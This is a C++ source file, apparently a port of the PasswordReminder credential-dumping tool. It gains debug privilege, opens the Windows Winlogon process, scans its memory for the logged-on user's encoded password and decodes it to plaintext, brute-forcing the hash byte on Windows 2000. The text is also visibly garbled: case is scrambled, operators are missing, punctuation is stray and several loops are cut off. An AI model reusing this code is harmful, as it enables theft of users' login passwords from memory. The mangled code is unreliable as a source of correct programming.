// passwordReminder.cpp //////////////////>
#include
Typedef struct _unicode_string {ushort length; ushort maximumlength; pwstr buffer;} unicode_string, * punicode_string;
// Undocumented typedef'stypedef struct _QUERY_SYSTEM_INFORMATION {DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle;} QUERY_SYSTEM_INFORMATION, * PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER {DWORD Count; DWORD Unk04; DWORD Unk08;} PROCESS_INFO_HEADER, * PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO {DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108];} pROCESS_INFO, * PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO {DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD UNK18; DWORD UNK1C; DWORD UNK20; DWORD UNK24; DWORD UNK28; Unicode_String EncodedPassword;} eNCoded_password_info, * pencoded_password_info;
typedef DWORD (__stdcall * PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall * PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall * PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall * PfnrtldestroyQueryDebugBuffer; typedef void (__stdcall * pfntstring) (byte, punicode_string);
// Private PrototypesBOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (CString & Username, CString & Pwd); void DisplayPasswordWin2K (CString & Username, CString & Pwd); // Global VariablesPFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; pFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;
DWORD passwordLength = 0; pvoid realpasswordp = null; pvoid passwordp = null; dword hashbyte = 0; wchar_t username [0x400]; wchar_t userdomain [0x400];
INT __CDECL getPasswordnt2k (CString & Username, CString & PWD) {IF ((! iswinnt ()) && (! iswin2k ())) {Return (0);}
// Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon if (AddDebugPrivilege ()!) {Return (0);} HINSTANCE hNtDll = LoadLibrary ( "NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION). GetProcAddress (hNtDll, "NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, "RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (pFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlDestroyQueryDebugBuffer") ; pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, "RtlRunDecodeUnicodeString");. // Locate WinLogon's PID - need debug privilege and admin rights DWORD WinLogonPID = FindWinLogon (); if (WinLogonPID == 0) {/ * printf ( "PasswordReminder is Unable to find Winlogon or you are useless nwgina.dll./n "); Printf (" Password In Memory./N "); * / freelibrary (hntdll); return (0);} / * Printf (" The Winlogon Process ID IS% D (0x% 8.8LX) ./ N ", WinlogonPid, WinlogonPid; * / // set value to check memory block against. Memset (username, 0, sizeof (username); MEMSET (UserDomain); MEMSet , 0, SizeOf (UserDomain); GetEnvironmentvariablew (l "username", username, 0x400); GetEnvironmentVariablew (L "Userdomain", UserDomain, 0x400);
. // Locate the block of memory containing // the password in WinLogon's memory space BOOL FoundPasswordPage = FALSE; if (IsWin2K ()) FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, & PasswordLength); else FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, & PasswordLength); if (FoundPasswordPage ) {If (passwordLength == 0) {username.format ("% s /% s", userdomain, username); pwd = "there is no password.";} Else {/ * printf ("The Encode Password is Found . at 0x% 8.8lx and has a length of% d / n ", RealPasswordP, PasswordLength); * / // Decode the password string if (IsWin2K ()) DisplayPasswordWin2K (Username, Pwd);. else DisplayPasswordWinNT (Username, Pwd );}} / * Else Printf ("Password In Memory./N" ;/freelibrary (hntdll); Return (1);} // main
BOOL IsWinNT (void) {OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (& OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); else return (FALSE);} // IsWinNT
BOOL IsWin2K (void) {OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (& OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE ); // iswin2k
BOOL AddDebugPrivilege (void) {HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, & Token)) if (LookupPrivilegeValue (NULL, "SeDebugPrivilege", & TokenPrivileges.Privileges [0] .Luid)) {TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges [0] .Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges (Token, FALSE, & TokenPrivileges, sizeof (TOKEN_PRIVILEGES), & PreviousState, & ReturnLength));} return (FALSE);} // adddebugprivilege
// Note that the following code eliminates the need // for PSAPI.DLL as part of the executable.DWORD FindWinLogon (void) {# define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap () , HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required pfnNtQuerySystemInformation (0x10, InfoP, INITIAL_ALLOCATION, & SizeNeeded); HeapFree (GetProcessHeap ()., 0, InfoP); // Now, allocate the proper amount of memory InfoP =. HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, & SizeWritten)) {HeapFree (GetProcessHeap (), 0, InfoP); return (0);} DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles == 0) {HeapFree (GetProcessHeap (), 0, InfoP); return (0);} PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWO RD i; for (i = 1; i <= NumHandles; i ) {// "5" is the value of a kernel object type process if (QuerySystemInformationP-.> HandleType == 5) {PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP-> PID, 1, DebugBufferP) == 0) {PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP 0x60); DWORD Count = ProcessInfoHeaderP-> Count; PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO) (DWORD) ProcessInfoHeaderp sizeof (Process_info_header);
IF (strstrupr (processinfop-> name), "Winlogon")! = 0) {DWORD i; DWORD DW = (DWORD) processinfop; for (i = 0; i
BOOL LocatePasswordPageWinNT (DWORD WinLogonPID, PDWORD PasswordLength) {# define USER_DOMAIN_OFFSET_WINNT 0x200 # define USER_PASSWORD_OFFSET_WINNT 0x400 BOOL rc = FALSE; HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (rc); * PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (& SystemInfo); DWORD PEB = 0x7ffdf000; DWORD BytesCopied = 0; PVOID PEBP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize);! if (ReadProcessMemory (WinLogonHandle, (PVOID) PEB, PEBP, SystemInfo.dwPageSize, & BytesCopied)) {CloseHandle (WinLogonHandle); return (rc);}. // Grab the value of the 2nd DWORD in the TEB PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP (6 * sizeof (DWORD))); Memory_basic_information; IF (VirtualQueryex (WinlogonHandle, (PVOID) * Winlogonheap, & MemoryBasicInformation, Sizeof (Memory_basic_information)) IF ( ((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) {PVOID WinLogonMemP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); if (ReadProcessMemory (WinLogonHandle, ( PVOID) * WinLogonHeap, WinLogonMemP, MemoryBasicInformation.RegionSize, & BytesCopied)) {DWORD i = (DWORD) WinLogonMemP; DWORD UserNamePos = 0; // The order in memory is UserName followed by the UserDomain do {if ((wcscmp (UserName,. (wchar_t *) i) == 0) &&
(WCSCMP (USERDOMAIN, (WCHAR_T *) (i user_domain_offset_winnt) == 0)) {usernamepos = i; break;} i = 2;} while (i <(dword) Winlogonmemp MemoryBasicinformation.Regionsize; if ( UserNamePos) {PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO) ((DWORD) UserNamePos USER_PASSWORD_OFFSET_WINNT); FILETIME LocalFileTime; SYSTEMTIME SystemTime; if (FileTimeToLocalFileTime (& EncodedPasswordInfoP-> LoggedOn, & LocalFileTime)) if (FileTimeToSystemTime (& LocalFileTime, & SystemTime)) printf ( "You logged ON At% D /% D /% D% D:% D:% D / N ", SystemTime.wMonth, SystemTime.wday, SystemTime.wyear, SystemTime.Whour, SystemTime.wminute, SystemTime.wSecond; * PasswordLength = (EncodedPasswordinfop-> EncodedPassword.Length & 0x00FF) / sizeof (wchar_t); hashbyte = (EncodeDPasswordinfop-> EncodedPassword.Length & 0xFF00) >> 8; Re alPasswordP = (PVOID) (* WinLogonHeap (UserNamePos - (DWORD) WinLogonMemP) USER_PASSWORD_OFFSET_WINNT 0x34); PasswordP = (PVOID) ((PBYTE) (UserNamePos USER_PASSWORD_OFFSET_WINNT 0x34)); rc = TRUE;}}} HeapFree ( GetProcessHeap (), 0, pebp); CloseHandle; Return (RC);} // locatepasswordPagewinnt
BOOL LocatePasswordPageWin2K (DWORD WinLogonPID, PDWORD PasswordLength) {# define USER_DOMAIN_OFFSET_WIN2K 0x400 # define USER_PASSWORD_OFFSET_WIN2K 0x800 HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (FALSE); * PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (& SystemInfo); DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress; DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress; DWORD Increment = SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION MemoryBasicInformation; while (i // Calculate the length of encoded unicode string. PBYTE P = (pbyte) Passwordp; dword Loc = (dword) P; dword len = 0; if ((* p == 0) && (* (pbyte) P 1) == 0); Else Do {LEN ; LOC = 2; P = (pbyte) Loc;} while (* p! = 0); * PasswordLength = LEN; CloseHandle (Winlogonhandle); Return (True );}} HeapFree (GetProcessHeap (), 0, RealStartingAddressP);}} else Increment = SystemInfo.dwPageSize; // Move to next memory block i = Increment;.} CloseHandle (WinLogonHandle); return (FALSE);} / / LocatePasswordPageWin2Kvoid DisplayPasswordWinNT (CString & Username, CString & Pwd) {UNICODE_STRING EncodedString; EncodedString.Length = (WORD) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((WORD) PasswordLength * sizeof (wchar_t)) sizeof (wchar_t); EncodedString .Buffer = (pwstr) Heapalloc (getProcessheap (), Heap_z ERO_MEMORY, EncodedString.MaximumLength); CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t));. // Finally - decode the password // Note that only one call is required since the hash-byte // was part of . the orginally encoded string pfnRtlRunDecodeUnicodeString ((BYTE) HashByte, & EncodedString); Username.Format ( "% S /% S", UserDomain, UserName); Pwd.Format ( "% S", EncodedString.Buffer); / * printf ( "THE HASH BYTE IS: 0x% 2.2x. / n", hashbyte); * / heapfree (getProcessHeap (), 0, encodedstring.buffer;} // Displaypasswordwinnt void DisplayPasswordWin2K (CString & Username, CString & Pwd) {DWORD i, Hash = 0; UNICODE_STRING EncodedString; EncodedString.Length = (USHORT) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((USHORT) PasswordLength * sizeof (wchar_t)) sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); // This is a brute force technique since the hash-byte // is not stored as part of the encoded string - .:> (for (i = 0; i <= 0xff; i ) {CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - try to decode the password pfnRtlRunDecodeUnicodeString (BYTE) i (. , & EncodedString; // Check for a viewable password. Pbyte p = (pbyte) eNCodedString.buffer; bool viewable = true; dword j, k; for (j = 0; (j